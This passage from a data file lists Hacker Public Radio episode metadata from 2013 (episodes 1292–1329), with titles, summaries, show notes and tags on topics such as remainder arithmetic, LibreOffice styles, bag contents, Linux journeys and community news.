      \n\n\n","hostid":225,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Perl,regular expression,ISO8601 time duration","version":0,"downloads":2342,"valid":1}, {"id":1292,"date":"2013-07-16","title":"Doomsday Remainders","duration":2082,"summary":"Reflections on remainders inspired by Doomsday Rule sign-off. Applications to programming and arithm","notes":"
      \nLast Episode on Conway's Doomsday Rule ends with teaser on MOD(), a\n\"remainder\" function defined for integer values (whole numbers):\n\n   MOD(K, m) = remainder when K is divided by \"modulus\" m.\n   \nExamples: \n  a. MOD(207, 7) = MOD(207 - 140, 7) = MOD(67, 7) = 4\n  b. MOD(1234567, 2) = 1 because the number is odd\n  \nMOD() function found in most spreadsheet programs, but it also shows up\nas an operator in some programming languages: (a % b), or (a mod b).\n\n\nOther functions referenced:\n   DIV(K, m)    = quotient in integer division\n      where K = m * quotient + remainder (not returned)\n            0 <= remainder < m\n\n   DIVMOD(K, m) = (quotient, remainder) when K is divided by m\n      where remainder = MOD(K, m)\n            quotient  = DIV(K, m)\n            K = m * quotient + remainder\n
      \n

      Full Show Notes

      \n

      \nhttps://hackerpublicradio.org/eps/hpr1292.txt\n

      \n

      Links

      \n\n","hostid":229,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"arithmetic,remainder,mod","version":0,"downloads":2320,"valid":1}, {"id":1293,"date":"2013-07-17","title":"A Week of Freedom","duration":1259,"summary":"What happened during a week spent using only FLOSS","notes":"

      \nA quick dialog about my week of using only FLOSS\n

      ","hostid":241,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"\"free software\",Minix,RedHat,FreeBSD,OpenSUSE,Ubuntu,SDF,Trisquel","version":0,"downloads":2398,"valid":1}, {"id":1294,"date":"2013-07-18","title":"Causes of Schizophrenia, neurochemical theory","duration":402,"summary":"What causes schizophrenia? The neurochemical aspects","notes":"

      In this episode of Hacker Public Radio Sigflup talks about one of the theorized causes of schizophrenia and offers her own interpretations.

      \n","hostid":115,"series":71,"explicit":1,"license":"CC-BY-SA","tags":"\"mental health\",schizophrenia,neurochemistry,\"anti-psychotic drugs\"","version":0,"downloads":2404,"valid":1}, {"id":1295,"date":"2013-07-19","title":"LibreOffice 07 Writer Heading Styles","duration":1280,"summary":"Heading styles in LibreOffice Writer","notes":"

      Some useful sites

      \n\n\n\n

      \nMy web site is at https://www.ahuka.com/.\n

      \n

      \nRemember to support free software!\n

      ","hostid":198,"series":70,"explicit":1,"license":"CC-BY-SA","tags":"LibreOffice, Writer","version":0,"downloads":2388,"valid":1}, {"id":1296,"date":"2013-07-22","title":"Intro to camp fires","duration":1263,"summary":"How to light and keep a small fire going","notes":"

      \nI've always felt a little awkward in social situations, and I'm always looking for ways to get over that feeling. One way I do that is to try and make myself useful, and one useful thing that I know is how to light and keep a small fire going. No one else ever seems to want to do it, and it's fun if you do it right. Admittedly there isn't much to it, but that just makes it all that much easier to learn. It isn't quite as intuitive as you might think if you've never done it, especially if it's a little damp out. Use tinder (paper, dried grass, cotton balls, etc...) to get the flame going, light your kindling (small twigs, pinecones, split sticks) over the tinder, and increase the size of your kindling until you have a good pile of coals that can sustain the burning of split logs. Keep your logs and sticks as parallel as you can, make sure air can flow freely through your burning pile of wood and don't let your coals spread too thin. If you're good, you should be able to get a fire going with just a single match and no accelerants (which are usually illegal anyway). If you're really good, you might even be able to do it with just a spark.\n

      ","hostid":128,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"How I got over my social awkwardness","version":0,"downloads":2363,"valid":1}, {"id":1297,"date":"2013-07-23","title":"Mobile Hackspace (what's in my bag)","duration":1422,"summary":"NYbill talks about what's in his computer & 2600 bags.","notes":"

      \nIn todays episode NYbill talks about what is in his bag. Not just the every day\ncomputer bag, but also his 2600 bag of hacking goodies.\n

      \n

      \nhttps://www.amazon.com/Vantec-CB-ISATAU2-Supports-2-5-Inch-5-25-Inch/dp/B000J01I1G/ref=sr_1_1?ie=UTF8&qid=1373398735&sr=8-1&keywords=usb+sata\n

      \n

      \nhttps://www.sparkfun.com/products/11515\n

      \n

      \nhttps://www.adafruit.com/\n

      \n

      \nhttps://www.alliedelec.com/\n

      \n

      \nThe Postcard Club:\n

      \n

      \nhttps://media.gunmonkeynet.net/u/nybill/m/postcard-club-update/\n

      \n

      \nThe Blue Bag:\n

      \n

      \nhttps://media.gunmonkeynet.net/u/nybill/m/the-hacker-bag/\n

      \n

      \nSurface mount component book:\n

      \n

      \nhttps://media.gunmonkeynet.net/u/nybill/m/surface-mount-components/\n

      \n","hostid":235,"series":23,"explicit":0,"license":"CC-BY-SA","tags":"toolkit,\"USB/SATA adaptor\"","version":0,"downloads":2463,"valid":1}, {"id":1298,"date":"2013-07-24","title":"Recording for HPR using Audacity","duration":1161,"summary":"Some hints on using Audacity","notes":"

      \nThe almost failsafe short of it. Use \"alsamixer\" to boost all recording\nvolumes on main pulse and all cards (e.g. \"alsamixer -c 0\"). Start Audacity,\nedit -> preferences, stay in the \"device\" submenu, don't bother with the\n\"recording\" submenu. For each of the \"Hosts\" (alsa/jack), try all \"Device\"s\nunder the \"Recording\" tab, start speaking, notice volume (or not and try\nthe next one)\n

      \n

      \nsee https://www.hackerpublicradio.org/contribute.php for more text on recording\nand suggested topics\n

      \n

      \nSee https://www.hackerpublicradio.org/README.txt and for more (textual)\ninformation about the submission process and\nhttps://hackerpublicradio.org/sample_shownotes.txt for sample shownotes.\n

      ","hostid":214,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"audio,audacity,\"recording an episode\",alsamixer","version":0,"downloads":2439,"valid":1}, {"id":1299,"date":"2013-07-25","title":"What's in my Bag","duration":543,"summary":"What's in my Toolkit","notes":"

      I go through the usual stuff in my bag. One thing I forgot to say\nis that my laptop is a Toshiba Satellite with i3 processor, 6gb of\nRAM, 750gb hard drive running Crunchbang Linux. Here are links to two\nof the items mentioned in the episode.

      \n\n\n","hostid":238,"series":23,"explicit":0,"license":"CC-BY-SA","tags":"laptop,\"Zoom H1\",screwdriver","version":0,"downloads":2419,"valid":1}, {"id":1300,"date":"2013-07-26","title":"Maker Faire: Kansas City","duration":1121,"summary":"MrGadgets phones in a show after visiting Maker Faire: Kansas","notes":"

      \nEver mobile MrGadgets phones in a show after visiting Maker Faire: Kansas\n

      \n

      \nMaker Faire: Kansas City celebrates things people create themselves — from new technology and electronic gizmos to urban farming and “slow-made” foods to homemade clothes, quilts and sculptures. This family-friendly event demonstrates what and how people are inventing, making and creating. It brings together Makers, Crafters, Inventors, Hackers, Scientists and Artists for a faire full of fun and inspiration. Come see what others are making and be inspired to tap into your own creativity!\n

      \n\"Photo\n

      Links

      \n","hostid":155,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"\"Maker Faire\",Kansas","version":0,"downloads":2452,"valid":1}, {"id":1301,"date":"2013-07-29","title":"Conversation with Nybill and Jon Kulp","duration":3258,"summary":"HPR hosts Nybill and Jon Kulp meet face-to-face","notes":"

      While I am on vacation near New York City, fellow HPR host NYbill drives down from \nupstate and we meet for the first time face-to-face. Of course we \nhave to record a conversation for posterity. Topics include \nactivities at LUG meetings, Cory Doctorow, Neal Stephenson, \nblather speech recognition (a live demonstration!), guitars, and more. Outtakes after the outro.

      \n

      Links

      \n","hostid":238,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"\"LUG meetings\",\"Cory Doctorow\",\"Neal Stephenson\",\"speech recognition\",Blather","version":0,"downloads":2425,"valid":1}, {"id":1302,"date":"2013-07-30","title":"How I Got to Linux","duration":788,"summary":"Accipiter's journey to Linux","notes":"

      \nIn this show, I cover my early years learning code in the late 60s. I move on to my history with home computers, and finding out about Linux around 2007 or so. I comment on Ubuntu and Mint. I mention dual booting and my one episode of triple booting.\n

      \n

      \nListeners, this is my first attempt at a show. It's not that hard, and I would like to hear from others as to how they got to Linux.\n

      ","hostid":249,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Linux, Ubuntu, Mint, dual boot","version":0,"downloads":2503,"valid":1}, {"id":1303,"date":"2013-07-31","title":"A Music Pairing Under Unlikely Circumstances","duration":1640,"summary":"Dave interviews Tim, his son, and Tim's friend John, who is visiting from the USA","notes":"

      \nToday Dave interviews Tim, his son, and Tim's friend John, who is\nvisiting from the USA.\n

      \n

      \nTim and John met on the Internet in 2006 as collaborating composers of\nelectronic music. They have become good friends over the years; Tim has\nvisited John in the States, in 2011 where they met for the first time in real\nlife, for John's wedding. This also marks the first time that John and his\nwife Caitlin have travelled overseas, which they did to visit Tim in the UK.\n

      \n

      \nIn the podcast we discuss how they met, how their different world\nviews affected each other, and how their relationship quickly\ntranscended music.\n

      \n

      \nHere's a picture of Tim and John visiting Edinburgh Castle in July\n2013:\n

      \n

      \n\"Tim\n

      \n

      \nContrary to what was said in the podcast, Tim prepared a mix of the\nvarious compositions he and John have made. Links to some of the full\ntracks are available below.\n

      \n

      \nHere are Tim's notes for the music mix:\n

      \n

      \nMusic_Notes.html\n

      \n

      \nLinks:\n

      \n

      \nSome of Tim and John's work - https://soundcloud.com/heartshapedboxband/
      \nTheir latest collaboration - https://soundcloud.com/heartshapedboxband/accord\n

      \n","hostid":225,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"music,composition,collaboration,InternetDJ,FL Studio","version":0,"downloads":2324,"valid":1}, {"id":1304,"date":"2013-08-01","title":"Jon Kulp and His Son Talk Hacking","duration":2461,"summary":"Jon Kulp and his son talk Hacking","notes":"

      I chat with my son about the concept of hacking, Linux, Blacksmithing,\nand about some of the other stuff he does that smacks of hacking.

      \n\n\n","hostid":238,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"hacking","version":0,"downloads":2406,"valid":1}, {"id":1305,"date":"2013-08-02","title":"LibreOffice 08 Writer Tab Styles","duration":697,"summary":"Tab styles in LibreOffice Writer","notes":"

      Some useful sites

      \n\n\n\n

      \nMy web site is at https://www.ahuka.com/.\n

      \n

      \nRemember to support free software!\n

      ","hostid":198,"series":70,"explicit":1,"license":"CC-BY-SA","tags":"LibreOffice, Writer","version":0,"downloads":2313,"valid":1}, {"id":1306,"date":"2013-08-05","title":"Freedom Followup","duration":1304,"summary":"A follow-up to 'A Week of Freedom'","notes":"

      \nAfter a deluge of e-mail asking me to follow up on the Week of Freedom podcast, I finally responded. Contact me at hobbsc@ma.sdf.org if you'd like to talk Libre Software!\n

      \n

      \nhttps://hackerpublicradio.org/eps.php?id=1293

      ","hostid":241,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"\"Libre Software\"","version":0,"downloads":2200,"valid":1}, {"id":1307,"date":"2013-08-06","title":"What's in my Bag","duration":964,"summary":"In this show I tell you all about my bag","notes":"

      \nIn this show, I tell you all about my bag. I start with the back compartment, and work my way to the front, so from magnetic card to keys on a tether. I carry a 1 Terabyte drive with me, which is a full backup of my computer. This is a weak version of offsite backup because sometimes it is not offsite. I have no office or other place where I can store it, though. It's better than nothing. One recommendation I do make is to carry a jeweler's loupe. They are not that expensive and can make it possible to read tiny model numbers on parts or just tiny print.\n

      \n

      \nListeners, this is my second attempt at a show. It's not that hard, and I would like to hear from others about what's in their bag.\n

      ","hostid":249,"series":23,"explicit":0,"license":"CC-BY-SA","tags":"bag,\"useful stuff\",\"weak off-site backup\"","version":0,"downloads":2050,"valid":1}, {"id":1308,"date":"2013-08-07","title":"Helping a New Computer User","duration":1152,"summary":"Skills for new computer users","notes":"

      Here is a list of the skills I teach new computer users:

      \nA) Hardware:\n1) Monitor and Tower\n---Turning on the computer\n2) Keyboard and Mouse\n---Learning when to use the right mouse button, \nleft button, and scroll wheel\n---Seeing non-alphabetic keys\n3) Printers and other Peripherals\n---Understating the usefulness of printers, scanners, \nflash drives, etc.\n\nB) Operating System:\n1) Icons on the Desktop\n---Moving, adding, and removing icons\n2) Opening Applications\n---Using the Start Menu to find applications\n3) Managing and Resizing Windows\n---Using the window controls to maximize, minimize, \nrestore up, and close windows\n\nC) File Management:\n1) Creating a New Folder and Subfolders\n2) Selecting Specific Files\n---Single-click method\n---Ctrl method\n---Shift method\n---Drawing-box-around-files method\n---Ctrl + A method\n3) Moving Files\n---Drag & Drop\n---Copy & Paste\n\nD) Text Entry:\n1) Using a simple notepad\n---Entering and Saving Text\n---Using the File Menu\n2) Using a Word Processor\n---Formatting text\n---Using toolbars\n
      ","hostid":250,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"\"computer skills\",hardware,\"operating system\",\"file management\",\"text entry\"","version":0,"downloads":2070,"valid":1}, {"id":1309,"date":"2013-08-08","title":"Assisted Human Reproduction","duration":5138,"summary":"IVF, ICSI","notes":"

      This show contains content for Mature Audiences - listener discretion is advised.

      \n

      In today's show Ken and his wife talk about their experiences with Assisted Human Reproduction.

      \n

      \"Injecting

      \n

      Links

      \n ","hostid":30,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"\"Assisted Human Reproduction\",\"in vitro fertilisation\",\"intracytoplasmic sperm injection\"","version":0,"downloads":2035,"valid":1}, {"id":1310,"date":"2013-08-09","title":"Energy Democracy defined","duration":2001,"summary":"A special panel discussion episode of This Week in Energy (TWiE)","notes":"

      This program is a special panel discussion episode of, This Week in Energy (TWiE), where co-hosts Kirsten & Bob define the concept of Energy Democracy and hacking the traditional central-station monopoly electric utility business model.

      \n

      There's an energy transition (or \"energiewende\" in German) underway in the energy space where the 19th and 20th century central-station monopoly utility business model is breaking down (or getting hacked) and ownership of electric generation capacity is transferring to individuals, co-ops, and so forth.

      \n

      This is due in large part to an entropy effect because \"the ubiquitous nature of renewable energy argues for a decentralist energy approach.\" But, also, public policy can either help the energy transition move faster, or it can slow it down.

      \n

      Thus an emerging global battle is brewing and it's very similar to the disruptions that have been taking place in the telecom sector due to advancements in IT and the advent of the Internet over the past couple of decades.

      \n

      Hosts: Kirsten Hasberg (Denmark & Germany) and Bob Tregilus (U.S.A.) <https://www.thisweekinenergy.tv/>.

      \n

      Guest: Roger Willhite (South Korea), solar blogger at Second Silicon <https://secondsilicon.com/>.

      \n

      Other resources about this global movement can be found at:

      \n ","hostid":251,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"energy, democracy, feed-in tariff, solar, wind, energy justice, public utilities, electric grid, co-op, germany, energiewende","version":0,"downloads":2007,"valid":1}, {"id":1311,"date":"2013-08-12","title":"Modern Inconveniences","duration":1460,"summary":"Reflections on how doing things manually can be cathartic","notes":"

      \nA little discourse about manual work and money saving. Contact me at\nhobbsc@ma.sdf.org\n

      ","hostid":241,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"\"manual work\",\"money saving\"","version":0,"downloads":1879,"valid":1}, {"id":1312,"date":"2013-08-13","title":"Deepgeek interviews Birgitta Jonsdottir (Icelandic Pirate Party parliamentarian)","duration":3197,"summary":"Epicanis introduces Deepgeek interviewing Birgitta Jonsdottir","notes":"

      \nEpicanis makes a brief introduction to the following show.\n(see also: https://en.wikipedia.org/wiki/Wilhelm_Reich )\n

      \n

      \nIn this special episode of TGTM news Deepgeek interviews Icelandic Parliamentarian Birgitta Jónsdóttir. We discuss Ban Ki-moon's recent faux pas in \nIceland's Parliment, Birgitta's hacking, her work in human rights and privacy, and whether or not Wikileaks is living up to it's original mandate.\n

      ","hostid":182,"series":78,"explicit":1,"license":"CC-BY-SA","tags":"tgtm, politics, Pirate Party, privacy","version":0,"downloads":1863,"valid":1}, {"id":1313,"date":"2013-08-14","title":"How I Manage Contacts","duration":712,"summary":"Strategies for de-duplicating and centralising contact information","notes":"

      How I Manage Contacts

      \n\n

      About a year ago I decided to try to clean up my contacts.

      \n\n

      The problem: CRUFT!

      \n\n
        \n
      • Importing, exporting re-importing in different accounts and in different email clients and several computers etc over span of ~10 years.
      • \n
      • 1200+ gmail contacts
      • \n
      • Many duplicates
      • \n
      \n\n

      What I wanted:

      \n\n
        \n
      • 1 set of contacts across platforms with single source file from which all\nothers are generated
      • \n
      • plain-text format, easy to use w/scripting & text editor
      • \n
      • No duplicates
      • \n
      • no cruft
      • \n
      • easy to maintain
      • \n
      • easy to import/export in T-bird, ownCloud
      • \n
      • sync with phone
      • \n
      \n\n

      Steps to Success:

      \n\n
        \n
      1. Turn off Gmail default setting that saves every incoming email address in your address book
      2. \n
      3. Deleted all extraneous contacts (went from ~1200 down to about 400)
      4. \n
      5. Tedious part here: compare duplicates, consolidate info
      6. \n
      7. Decide on source-file format
      8. \n
      9. T-bird = LDIF
      10. \n
      11. OwnCloud = vCard
      12. \n
      13. LDIF wins b/c found script to convert to vCard, but not good script for other direction
      14. \n
      15. Convert all disparate contacts lists to LDIF, begin consolidating into one file
      16. \n
      17. LDIF ready? Import to T-bird
      18. \n
      19. Perl script to convert LDIF to vCard –> import to ownCloud
      20. \n
      21. CardDAV-sync to sync from o.c. to phone
      22. \n
      23. Bash script to create new LDIF entries, convert to vcf, add to master file easily
      24. \n
      \n\n

      Wishlist

      \n\n
        \n
      1. Make t-bird sync w/owncloud (t-bird SOGO extension broken)
      2. \n
      3. CLI API to update owncloud contacts via a script instead of having to use the web interface
      4. \n
      \n\n

      Links

      \n\n","hostid":238,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"LDIF,vCard,OwnCloud,CardDAV,Thunderbird","version":0,"downloads":1760,"valid":1}, {"id":1314,"date":"2013-08-15","title":"Impressions of Mageia","duration":1730,"summary":"Experiences with Mageia","notes":"

      \nFrank Bell describes his recent experiences with Mageia v. 2, including upgrading online to v. 3, as well as his overall impressions of Mageia.\n

      \n

      \nLinks from the show:\n

      \n

      \nMageia website: https://www.mageia.org\n

      \n

      \nMageia Wiki: https://wiki.mageia.org/en/Main_Page \n

      \n

      \nAbout the online version upgrade (from the release notes): https://wiki.mageia.org/en/Mageia_3_Release_Notes#Upgrading_from_Mageia_2 \n

      \n

      \nAbout the Mageia Repositories, including \"tainted\" repos (from the release notes): https://wiki.mageia.org/en/Mageia_3_Release_Notes#The_Mageia_online_repositories\n

      \n

      \nMageia Forum thread on the \"no MP4 audio\" in VLC: https://forums.mageia.org/en/viewtopic.php?f=7&t=1290\n

      \n

      \nAbout Drak3D: https://forums.mageia.org/en/viewtopic.php?f=23&t=511\n

      \n

      \nHPLIP: https://hplipopensource.com/hplip-web/index.html\n

      ","hostid":195,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Mageia","version":0,"downloads":1736,"valid":1}, {"id":1315,"date":"2013-08-16","title":"LibreOffice 09 Writer Working With Paragraph-Level Styles","duration":1362,"summary":"Details of paragraph-level styles in LibreOffice Writer","notes":"

      Some useful sites

      \n\n\n\n

      \nMy web site is at https://www.ahuka.com/.\n

      \n

      \nRemember to support free software!\n

      ","hostid":198,"series":70,"explicit":1,"license":"CC-BY-SA","tags":"LibreOffice, Writer","version":0,"downloads":1756,"valid":1}, {"id":1316,"date":"2013-08-19","title":"What is my bag","duration":1350,"summary":"Use of a MOLLE bag for carrying tools","notes":"

      MOLLE

      \n

      From Wikipedia, the free encyclopedia

      \n

      \nMOLLE (pronounced molly, as in the female name) is an acronym for Modular Lightweight Load-carrying Equipment. It is used to define the current generation of load-bearing equipment and rucksacks utilized by a number of NATO armed forces, especially the British Army and the United States Army. The system's modularity is derived from the use of PALS webbing as rows of heavy-duty nylon stitched onto the vest to allow for attachment of various MOLLE-compatible pouches and accessories. \n

      \n

      Links

      \n","hostid":155,"series":23,"explicit":1,"license":"CC-BY-SA","tags":"molle,bag","version":0,"downloads":1690,"valid":1}, {"id":1317,"date":"2013-08-20","title":"What's In My 2 Bags","duration":1380,"summary":"Some non-hacking things in two daily-carry bags","notes":"

      CPrompt^ records his first podcast. Talks about what he does for employments as well as what he carries around on a daily basis. Not all hackin-geeky stuff but it's still carried around.

      \n

      Links:

      \n ","hostid":252,"series":23,"explicit":1,"license":"CC-BY-SA","tags":"lan tap,sharpie pen,sock,jungle gym","version":0,"downloads":1688,"valid":1}, {"id":1318,"date":"2013-08-21","title":"How I found Linux","duration":1115,"summary":"Sunzofman1's journey to Linux","notes":"
      \n1st PC 95 wfw win3.11 installed with jumbo tracker colorado\nno ownership in HS and prior to '95\nrecognition of internet '94 ncsa mosaic\nhunger for web page builds\nSparc1 - SunOS pizza boxes / DEC Alpha / VAX/VMS\nstoked curiosity UNIX\nUnix Renaissance FAMU --> https://www.famu.edu\nLinux Unleashed - Slackware 2.0 kernel 1.2.13\nfilesystem inspection, file ownership, permissions, basic scripts\nNetworking - Token Ring / Ethernet / IBM 4381\nTrumpet winsock / NetBEUI / dial-up networking modems cash service\nhttps://en.wikipedia.org/wiki/Winsock\nslackware PPP chatscripts / robotics 14.4K modem\nwinnt 4.0 network YP/NIS - 25 machines /etc/passwd\nredhat 4.2 , slackware desktop of choice,  \ndebian potato, use debian for business deployment\nmostly web services, openvpn, asterisk (centos)\nmythtv arch - knoppmyth --> LinHES\nmany thanks to ken fallon, dann washko, klaatu\n
      \n","hostid":187,"series":29,"explicit":1,"license":"CC-BY-SA","tags":"\"computer history\"","version":0,"downloads":1726,"valid":1}, {"id":1319,"date":"2013-08-22","title":"Frank Bell Presents HPR to His LUG","duration":1442,"summary":"The Tidewater Unix Users Group hears about HPR","notes":"

      Links from the show:

      \n

      \nFrank's LUG, the Tidewater Unix Users Group, https://twuug.org/mediawiki/index.php/Main_Page\n

      \n

      \nPodcast and sites mentioned in the show:\n

      \n\n","hostid":195,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"\"Geek News Central\",\"GNU World Order\",TwaTech,BinRev,\"The Sunday Morning Linux Review\"","version":0,"downloads":1661,"valid":1}, {"id":1320,"date":"2013-08-23","title":"How I got into Linux","duration":414,"summary":"jrobb gives a short show about how he got into Linux and programming","notes":"

      \nThis is my first HPR, first ever podcast, and first ever attempt at editing any audio. Don't expect greatness.\nThe banging in the background is my daughter playing with something.\nI give a very quick rundown of my introduction to Linux, programming, and tech in general. This is a pretty short show.\n

      \n

      \nI forgot to mention that early on in high school or middle school I enjoyed playing with DOS on an old 386 and that is probably what got my interest and led me to enroll in the High School computer science class that I mention.\nI didn't really have anything planned to talk about, I should probably do that next time.\n

      ","hostid":253,"series":29,"explicit":1,"license":"CC-BY-SA","tags":"Pascal,RedHat,Ubuntu,Arch,Debian,PHP,MySQL","version":0,"downloads":1773,"valid":1}, {"id":1321,"date":"2013-08-26","title":"What's in my Bag","duration":551,"summary":"Things in a well-worn timbuk2 bag","notes":"

      \nMy contribution to the \"What's in my Bag\" series. Contact me at hobbsc@ma.sdf.org\n

      ","hostid":241,"series":23,"explicit":0,"license":"CC-BY-SA","tags":"\"Timbuk2 bag\"","version":0,"downloads":1652,"valid":1}, {"id":1322,"date":"2013-08-27","title":"Kevin O'Brien - Ohio LinuxFest 2013","duration":2918,"summary":"A discussion with Kevin O'Brien about Ohio LinuxFest","notes":"

      About the Ohio LinuxFest

      \n

      \nThe Ohio LinuxFest is a grassroots conference for the GNU/Linux/Open Source Software/Free Software community that started in 2003 as a large inter-LUG meeting and has grown steadily since. It is a place for the community to gather and share information about Linux and Open Source Software.\n

      \n

      \nA large expo area adjacent to the conference rooms will feature exhibits from our sponsors as well as a large .org section from non-profit Open Source/Free Software projects.\n

      \n

      \nThe Ohio LinuxFest welcomes people from all 50 states and international participants. We've had participants from Canada, England, Argentina, Brazil, and Australia in years past.\n

      \n

      Links

      \n

      \nLast years audio: https://archive.org/search.php?query=Ohio%20LinuxFest%202012%20AND%20mediatype%3Aaudio\n

      ","hostid":30,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"\"Ohio LinuxFest 2013\"","version":0,"downloads":1624,"valid":1}, {"id":1323,"date":"2013-08-28","title":"HPR Community News For July 2013","duration":3861,"summary":"HPR Community News For July 2013","notes":"

      New hosts

      \n

      Welcome to our new hosts: Alek Grigorian, Accipiter, Shane Shennan, Bob Tregilus, Curtis Adkins (CPrompt^), and jrobb.

      \n

      Show Updates

      \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n
      idtitlehost
      1282My Homemade Recumbent BicycleJon Kulp
      1283Ken gets to talk with Ambjorn about politicsKen Fallon
      1284Blather Speech Recognition for Linux: Interview with JezraJon Kulp
      1285LibreOffice 06 Writer Creating a Paragraph Style LibreOfficeAhuka
      1286iCalendar HackingDave Morriss
      1287HPR Community News For June 2013HPR Admins
      1288Nido Media gets Ken to go camping at OHM2013Ken Fallon
      1289Short Xen Update From JWPJWP
      1290MultiSystem: The Bootable Thumb Drive CreatorFiftyOneFifty
      1291Parsing an ISO8601 formatted duration field with PerlDave Morriss
      1292Doomsday RemaindersCharles in NJ
      1293A Week of FreedomChristopher M. Hobbs
      1294Causes of Schizophrenia, neurochemical theorysigflup
      1295LibreOffice 07 Writer Heading StylesAhuka
      1296Intro to camp firespokey
      1297Mobile Hackspace (whats in my bag)NYbill
      1298Recording for HPR using AudacityNido Media
      1299What’s in my BagJon Kulp
      1300Maker Faire: Kansas CityMrGadgets
      1301Conversation with Nybill and Jon KulpJon Kulp
      1302How I Got to LinuxAccipiter
      1303A Music Pairing Under Unlikely CircumstancesDave Morriss
      1304Jon Kulp and His Son Talk HackingJon Kulp
      1305LibreOffice 08 Writer Tab StylesAhuka
      \n

      On the Mailing List

      \n
        \n
      • Community driven scheduling system is now active. \n
      • \n
      • Open Sourcing Mental Illness \n
      • \n
      • Low on Shows
          \n
        • backup queue is visible on the calendar page
        • \n
        • we should *not* have any backup shows
        • \n
        \n
      • \n
      • Interview Icelandic Parliamentarian Birgitta Jónsdòttir
          \n
        • \"We will continue to promote new podcasts and other creative commons material but due to a lack of slots, we are only releasing material created exclusively for HPR. If there is a piece of creative commons content that you would like to promote, then feel free to record a regular show where you introduce the content and explain why it is important, providing links to where we can get more information.\"
        • \n
        \n
      • \n
      • HPR missing from Google \n
      • \n
      • FTP Quota issues
      • \n
      • HPR Joint Fourth Top Linux Podcast \n
      • \n
      • LUG Presentation \n
      • \n
      • Sonar Project donators \"Those kind people who donated to the sonar project your laptop stickers are in and they are awesome. Please send me your postal address off list and I will send you a sheet of six stickers.\"
      • \n
      • Owe me a show list.
      • \n
      • OggCamp 2013
      • \n
      • WARNING !! Update to the RSS feed
      • \n
      • HPR1300 posted
      • \n
      ","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":1597,"valid":1}, {"id":1324,"date":"2013-08-29","title":"Porting Mega Happy Sprite To Windows ","duration":877,"summary":"Porting with the mingw32 cross-compiler","notes":"

      \nIn this episode of HPR sigflup talks about her experiences porting her favorite program to windows using the mingw32 cross-compiler\n

      ","hostid":115,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"mingw32,cross-compiler","version":0,"downloads":1634,"valid":1}, {"id":1325,"date":"2013-08-30","title":"LibreOffice 10 Writer Paragraph Styles in Templates","duration":837,"summary":"Using paragraph styles in templates in LibreOffice Writer","notes":"

      Mentioned in the program: https://extensions.libreoffice.org/

      \n

      Some useful sites

      \n\n\n\n

      \nMy web site is at https://www.ahuka.com/.\n

      \n

      \nRemember to support free software!\n

      ","hostid":198,"series":70,"explicit":1,"license":"CC-BY-SA","tags":"LibreOffice, Writer","version":0,"downloads":1750,"valid":1}, {"id":1326,"date":"2013-09-02","title":"What's in my bag","duration":570,"summary":"jrobb details the contents of his laptop backback","notes":"

      \nIn this show jrobb goes through his laptop backback and details the contents.\nI had a few minutes while the wife had most of the kids out running errands and figured I'd make another HPR.\n

      \n

      \nIf anyone is otherwise interested, this is my second recording, which was made with audacity. \nI ran the noise removal (which is basically magic), and then I ran the compressor tool which seemed to bring the volume level up a bit.\n

      ","hostid":253,"series":23,"explicit":0,"license":"CC-BY-SA","tags":"\"SWISSGEAR backpack\",\"Lenovo X1 Carbon\",\"Lenovo X220\"","version":0,"downloads":1656,"valid":1}, {"id":1327,"date":"2013-09-03","title":"Frank Bell Bakes Bread","duration":1587,"summary":"Frank bakes two loaves of honey wheat bread","notes":"

      \nFrank Bell prattles on about baking bread while he bakes two loaves of honey wheat bread.\n

      \n\n

      Links:

      \n\n","hostid":195,"series":93,"explicit":1,"license":"CC-BY-SA","tags":"baking,bread,dough,sourdough","version":0,"downloads":1631,"valid":1}, {"id":1328,"date":"2013-09-04","title":"A Hacker's Perspective On Schizophrenia ","duration":2065,"summary":"Schizophrenia from the perspective of a hacker","notes":"

      \nIn this episode sigflup talks about her schizophrenia with her unique perspective as a hacker.\n

      \n

      \n\"person\n

      \n","hostid":115,"series":71,"explicit":0,"license":"CC-BY-SA","tags":"\"mental health\",schizophrenia,paranoia,hallucination,anosognosia","version":0,"downloads":1902,"valid":1}, {"id":1329,"date":"2013-09-05","title":"TGTM Newscast for 2013-13-08","duration":1761,"summary":"A newscast from Talk Geek to Me","notes":"

      DeepGeek & Dann Washko

      \n

      Here is a news review:

      \n
        \n
      • What\nShould, and Should Not, Be in NSA Surveillance Reform Legislation\n
      • \n
      • Pentagon’s\nExiting Guantánamo Prison Architect Reverses Position on Detainee\nPolicies\n
      • \n
      • Russia’s\nAnti-LGBTQ Law Leads to Protests, Pushback, and a Reminder of Our Laws\nHere at Home\n
      • \n
      • Amazon,\nWikiLeaks, the Washington Post and the CIA\n
      • \n
      • Pay\nIt Forward debt-free degree plan makes national debut as Oregon\nlawmakers tackle student debt crisis\n
      • \n
      • Lavabit email service Snowden\nallegedly used shut down
      • \n
      • Five-dimensional\nglass memory can store 360TB per disc, rugged enough to outlive the\nhuman race
      • \n
